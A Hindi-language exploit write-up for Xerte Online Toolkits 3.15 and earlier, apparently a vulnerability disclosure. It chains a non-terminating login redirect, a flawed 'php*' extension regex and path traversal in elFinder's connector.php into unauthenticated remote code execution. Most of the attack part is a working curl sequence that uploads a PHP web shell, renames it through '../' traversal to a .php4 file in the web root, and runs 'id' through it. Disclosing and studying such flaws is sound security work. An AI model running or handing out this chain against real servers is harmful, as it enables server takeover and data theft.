
अप्रमाणित Xerte Online Toolkits शोषण। एक वैध उपयोगकर्ता नाम जानना आवश्यक है।
Xerte Online Toolkits के संस्करण 3.15 और इससे पहले के संस्करणों में /editor/elfinder/php/connector.php घटक में 3 कमजोरियां हैं, जिन्हें एक अप्रमाणित हमलावर रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए जोड़ सकता है।
Xerte Online Toolkits <= 3.15
एक बैकपोर्टेड पैच संस्करण 3.15, 3.14, और 3.13 पर लागू किया गया है।
अप्रमाणित उपयोगकर्ता /editor/elfinder/php/connector.php पर कनेक्टर घटक को अनुरोध भेज सकते हैं।
निम्नलिखित कोड का उपयोग एक्सेस कंट्रोल के रूप में किया जाता है।
File: /editor/elfinder/php/connector.php Line Number: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
यह अप्रमाणित उपयोगकर्ताओं को रीडायरेक्ट करके उन्हें अप्रमाणित अनुरोधों का प्रतिसाद प्राप्त करने से रोकता है, हालांकि यह सत्र समाप्त नहीं करता है और बाद का कोड अभी भी निष्पादित होता है।
*हमलावर को उस फ़ाइल का फ़ाइल नाम जानना आवश्यक है जिसे वे स्थानांतरित करना चाहते हैं
हमलावर connector.php एंडपॉइंट पर "rename" अनुरोध में "name" पैरामीटर में हेरफेर कर सकते हैं। इससे हमलावरों को उपयोगकर्ताओं की मीडिया निर्देशिका के बाहर फ़ाइलों को स्थानांतरित करने के लिए मौजूदा निर्देशिका का उपयोग करने की अनुमति मिलती है।
connector.php फ़ाइल एक्सटेंशन फ़िल्टर रेगेक्स में गलती के कारण, हमलावर Xerte के समान संस्करणों में मौजूद पथ ट्रैवर्सल कमजोरी को जोड़कर एक दुर्भावनापूर्ण PHP कोड वाली फ़ाइल को .php4 एक्सटेंशन के साथ एप्लिकेशन रूट पर ले जा सकते हैं।
File: /editor/elfinder/php/connector.php Line Number: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
php* रेगेक्स केवल पूर्ववर्ती वर्ण से मेल खाता है। इसलिए यह निम्नलिखित "ph", "php", "phppp", आदि से मेल खाएगा...
यदि प्रमाणीकरण सक्षम है (जो कि डिफ़ॉल्ट Xerte कॉन्फ़िगरेशन नहीं है) तो हमलावर को एक वैध उपयोगकर्ता का उपयोगकर्ता नाम जानना (या ब्रूट फोर्स करना) आवश्यक है। यदि गेस्ट प्रमाणीकरण का उपयोग किया जाता है (डिफ़ॉल्ट), तो लक्ष्य प्रोजेक्ट निर्देशिका केवल 1--Nottingham होगी।
एक अप्रमाणित हमलावर "example_dir" निर्देशिका बना सकता है और USER-FILES/ के अंतर्गत किसी भी प्रोजेक्ट निर्देशिका में दुर्भावनापूर्ण PHP कोड वाली "file.txt" फ़ाइल अपलोड कर सकता है।
फिर वे Xerte में मौजूद सापेक्ष पथ ट्रैवर्सल और अस्वीकृत इनपुट की अपूर्ण सूची कमजोरियों का उपयोग करके अपलोड की गई फ़ाइल का नाम बदलकर "example_dir/../../../../file.php4" कर सकते हैं, जिससे file.txt एप्लिकेशन रूट पर "file.php4" के रूप में स्थानांतरित हो जाती है, जिससे हमलावर को रिमोट कोड निष्पादन प्राप्त होता है।
curl 'http://localhost/xt/setup'
Request Params: uploadDir: एप्लिकेशन रूट + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: प्रोजेक्ट निर्देशिका का URL cmd: mkdir name: नई निर्देशिका का नाम target: media/ निर्देशिकाओं का elfinder आईडी। क्योंकि यह elfinder रूट है, यह हमेशा "l1_Lw" होगा।
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*पेलोड में
टैग elfinder MIME प्रकार फ़िल्टर को PHP कोड का पता लगाने से रोकता है।
Request Params: uploadDir: एप्लिकेशन रूट + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: प्रोजेक्ट निर्देशिका का URL cmd: upload target: media/ निर्देशिकाओं का elfinder आईडी। क्योंकि यह elfinder रूट है, यह हमेशा "l1_Lw" होगा। upload[]: अपलोड की जाने वाली फ़ाइल।
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
सुनिश्चित करें कि आप पैडिंग को ट्रिम करें, इस मामले में यह केवल "=" है।
वॉल्यूम पहचानकर्ता जोड़ें। यह हमेशा "l1" (जैसे "/" में) होगा।
Result: l1_ZmlsZS50eHQ
Request Params:
uploadDir: एप्लिकेशन रूट + USER-FILES/{project id}-{user}-Nottingham/
uploadURL: प्रोजेक्ट निर्देशिका का URL
cmd: rename
name: निर्देशिका का नाम, पथ ट्रैवर्सल अनुक्रम, और .php4 एक्सटेंशन के साथ नया फ़ाइल नाम
target: नई फ़ाइल से उत्पन्न elfinder आईडी l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
Request Params: cmd: चलाने के लिए कमांड
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)